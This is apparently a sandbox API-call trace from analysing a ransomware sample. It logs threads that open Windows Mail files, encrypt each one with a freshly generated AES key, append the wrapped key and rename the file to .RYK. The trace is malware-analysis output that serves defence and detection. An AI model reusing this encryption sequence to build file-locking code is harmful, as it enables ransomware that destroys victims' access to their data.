	[0268.215] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", dwFileAttributes=0x80) returned 0
	[0268.215] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.215] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.215] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3359
	os_tid = 0x396c

	[0268.216] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", dwFileAttributes=0x80) returned 0
	[0268.216] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.216] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.217] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3360
	os_tid = 0x3970

	[0268.218] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", dwFileAttributes=0x80) returned 1
	[0268.869] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d4
	[0268.869] GetFileSizeEx (in: hFile=0x9d4, lpFileSize=0x916fbb8 | out: lpFileSize=0x916fbb8*=2097152) returned 1
	[0268.869] GetFileSizeEx (in: hFile=0x9d4, lpFileSize=0x916fbc8 | out: lpFileSize=0x916fbc8*=2097152) returned 1
	[0268.869] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0268.869] ReadFile (in: hFile=0x9d4, lpBuffer=0x916fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x916fb80, lpOverlapped=0x0 | out: lpBuffer=0x916fc10*, lpNumberOfBytesRead=0x916fb80*=0x19, lpOverlapped=0x0) returned 1
	[0268.874] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.874] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x916fb98 | out: phKey=0x916fb98*=0x2b8ea0) returned 1
	[0268.874] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.874] ReadFile (in: hFile=0x9d4, lpBuffer=0x3090000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x916fba4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x916fba4*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.895] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x916fba0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x916fba0*=0xf4240) returned 1
	[0268.895] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x916fba8*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3090000*, pdwDataLen=0x916fba8*=0xf4240) returned 1
	[0268.907] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.907] WriteFile (in: hFile=0x9d4, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x916fba4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x916fba4*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.914] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0268.914] ReadFile (in: hFile=0x9d4, lpBuffer=0x3090000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x916fba4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x916fba4*=0xf4240, lpOverlapped=0x0) returned 1
	[0269.369] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x916fba0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x916fba0*=0xf4240) returned 1
	[0269.369] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x916fba8*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3090000*, pdwDataLen=0x916fba8*=0xf4240) returned 1
	[0269.375] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0269.376] WriteFile (in: hFile=0x9d4, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x916fba4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x916fba4*=0xf4240, lpOverlapped=0x0) returned 1
	[0269.384] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0269.384] ReadFile (in: hFile=0x9d4, lpBuffer=0x3090000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x916fba4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x916fba4*=0x17b80, lpOverlapped=0x0) returned 1
	[0269.389] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x916fba0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x916fba0*=0xf4250) returned 1
	[0269.389] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x916fba8*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x916fba8*=0x17b90) returned 1
	[0269.390] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0269.390] WriteFile (in: hFile=0x9d4, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x916fba4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x916fba4*=0x17b90, lpOverlapped=0x0) returned 1
	[0269.974] WriteFile (in: hFile=0x9d4, lpBuffer=0x916fbd0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x916fbb0, lpOverlapped=0x0 | out: lpBuffer=0x916fbd0*, lpNumberOfBytesWritten=0x916fbb0*=0x6, lpOverlapped=0x0) returned 1
	[0269.974] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x916fbc0 | out: pbData=0x0*, pdwDataLen=0x916fbc0*=0x10c) returned 1
	[0269.974] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x916fc30, pdwDataLen=0x916fbc0 | out: pbData=0x916fc30*, pdwDataLen=0x916fbc0*=0x10c) returned 1
	[0269.975] WriteFile (in: hFile=0x9d4, lpBuffer=0x916fc30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x916fbb0, lpOverlapped=0x0 | out: lpBuffer=0x916fc30*, lpNumberOfBytesWritten=0x916fbb0*=0x10c, lpOverlapped=0x0) returned 1
	[0269.975] CloseHandle (hObject=0x9d4) returned 1
	[0270.530] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0270.531] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3361
	os_tid = 0x3974

	[0268.221] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 1
	[0268.542] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8
	[0268.542] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x92df998 | out: lpFileSize=0x92df998*=2121728) returned 1
	[0268.542] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x92df9a8 | out: lpFileSize=0x92df9a8*=2121728) returned 1
	[0268.543] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x205ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0268.543] ReadFile (in: hFile=0x9a8, lpBuffer=0x92df9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92df960, lpOverlapped=0x0 | out: lpBuffer=0x92df9f0*, lpNumberOfBytesRead=0x92df960*=0x19, lpOverlapped=0x0) returned 1
	[0268.546] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.546] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x92df978 | out: phKey=0x92df978*=0x2b9290) returned 1
	[0268.546] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.546] ReadFile (in: hFile=0x9a8, lpBuffer=0x3190000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x92df984, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x92df984*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.577] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x92df980*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x92df980*=0xf4240) returned 1
	[0268.577] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x92df988*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3190000*, pdwDataLen=0x92df988*=0xf4240) returned 1
	[0268.959] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.960] WriteFile (in: hFile=0x9a8, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x92df984, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x92df984*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.967] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0268.967] ReadFile (in: hFile=0x9a8, lpBuffer=0x3190000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x92df984, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x92df984*=0xf4240, lpOverlapped=0x0) returned 1
	[0269.691] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x92df980*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x92df980*=0xf4240) returned 1
	[0269.691] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x92df988*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3190000*, pdwDataLen=0x92df988*=0xf4240) returned 1
	[0269.699] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0269.699] WriteFile (in: hFile=0x9a8, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x92df984, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x92df984*=0xf4240, lpOverlapped=0x0) returned 1
	[0269.707] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0269.707] ReadFile (in: hFile=0x9a8, lpBuffer=0x3190000, nNumberOfBytesToRead=0x1db80, lpNumberOfBytesRead=0x92df984, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x92df984*=0x1db80, lpOverlapped=0x0) returned 1
	[0269.951] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x92df980*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x92df980*=0xf4250) returned 1
	[0269.951] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x92df988*=0x1db80, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x92df988*=0x1db90) returned 1
	[0269.952] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0269.952] WriteFile (in: hFile=0x9a8, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0x1db90, lpNumberOfBytesWritten=0x92df984, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x92df984*=0x1db90, lpOverlapped=0x0) returned 1
	[0269.956] WriteFile (in: hFile=0x9a8, lpBuffer=0x92df9b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x92df990, lpOverlapped=0x0 | out: lpBuffer=0x92df9b0*, lpNumberOfBytesWritten=0x92df990*=0x6, lpOverlapped=0x0) returned 1
	[0269.956] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x92df9a0 | out: pbData=0x0*, pdwDataLen=0x92df9a0*=0x10c) returned 1
	[0269.956] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x92dfa10, pdwDataLen=0x92df9a0 | out: pbData=0x92dfa10*, pdwDataLen=0x92df9a0*=0x10c) returned 1
	[0269.956] WriteFile (in: hFile=0x9a8, lpBuffer=0x92dfa10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x92df990, lpOverlapped=0x0 | out: lpBuffer=0x92dfa10*, lpNumberOfBytesWritten=0x92df990*=0x10c, lpOverlapped=0x0) returned 1
	[0269.956] CloseHandle (hObject=0x9a8) returned 1
	[0275.411] CryptDestroyKey (hKey=0x2b9290) returned 1
	[0275.412] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3362
	os_tid = 0x3978

	[0268.223] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat", dwFileAttributes=0x80) returned 1
	[0268.587] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990
	[0268.587] GetFileSizeEx (in: hFile=0x990, lpFileSize=0x944fb58 | out: lpFileSize=0x944fb58*=16384) returned 1
	[0268.587] GetFileSizeEx (in: hFile=0x990, lpFileSize=0x944fb68 | out: lpFileSize=0x944fb68*=16384) returned 1
	[0268.587] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0268.587] ReadFile (in: hFile=0x990, lpBuffer=0x944fbb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x944fb20, lpOverlapped=0x0 | out: lpBuffer=0x944fbb0*, lpNumberOfBytesRead=0x944fb20*=0x19, lpOverlapped=0x0) returned 1
	[0268.590] SetFilePointer (in: hFile=0x990, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.590] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x944fb38 | out: phKey=0x944fb38*=0x2b9450) returned 1
	[0268.590] SetFilePointer (in: hFile=0x990, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.590] ReadFile (in: hFile=0x990, lpBuffer=0x3290000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x944fb44, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x944fb44*=0x4000, lpOverlapped=0x0) returned 1
	[0268.601] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x944fb40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x944fb40*=0xf4250) returned 1
	[0268.602] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x944fb48*=0x4000, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x944fb48*=0x4010) returned 1
	[0268.602] SetFilePointer (in: hFile=0x990, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.602] WriteFile (in: hFile=0x990, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x944fb44, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x944fb44*=0x4010, lpOverlapped=0x0) returned 1
	[0268.603] WriteFile (in: hFile=0x990, lpBuffer=0x944fb70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x944fb50, lpOverlapped=0x0 | out: lpBuffer=0x944fb70*, lpNumberOfBytesWritten=0x944fb50*=0x6, lpOverlapped=0x0) returned 1
	[0268.603] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x944fb60 | out: pbData=0x0*, pdwDataLen=0x944fb60*=0x10c) returned 1
	[0268.603] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x944fbd0, pdwDataLen=0x944fb60 | out: pbData=0x944fbd0*, pdwDataLen=0x944fb60*=0x10c) returned 1
	[0268.603] WriteFile (in: hFile=0x990, lpBuffer=0x944fbd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x944fb50, lpOverlapped=0x0 | out: lpBuffer=0x944fbd0*, lpNumberOfBytesWritten=0x944fb50*=0x10c, lpOverlapped=0x0) returned 1
	[0268.604] CloseHandle (hObject=0x990) returned 1
	[0268.616] CryptDestroyKey (hKey=0x2b9450) returned 1
	[0268.616] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3411
	os_tid = 0x3a3c

	[0269.217] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk.RYK", dwFileAttributes=0x80) returned 1
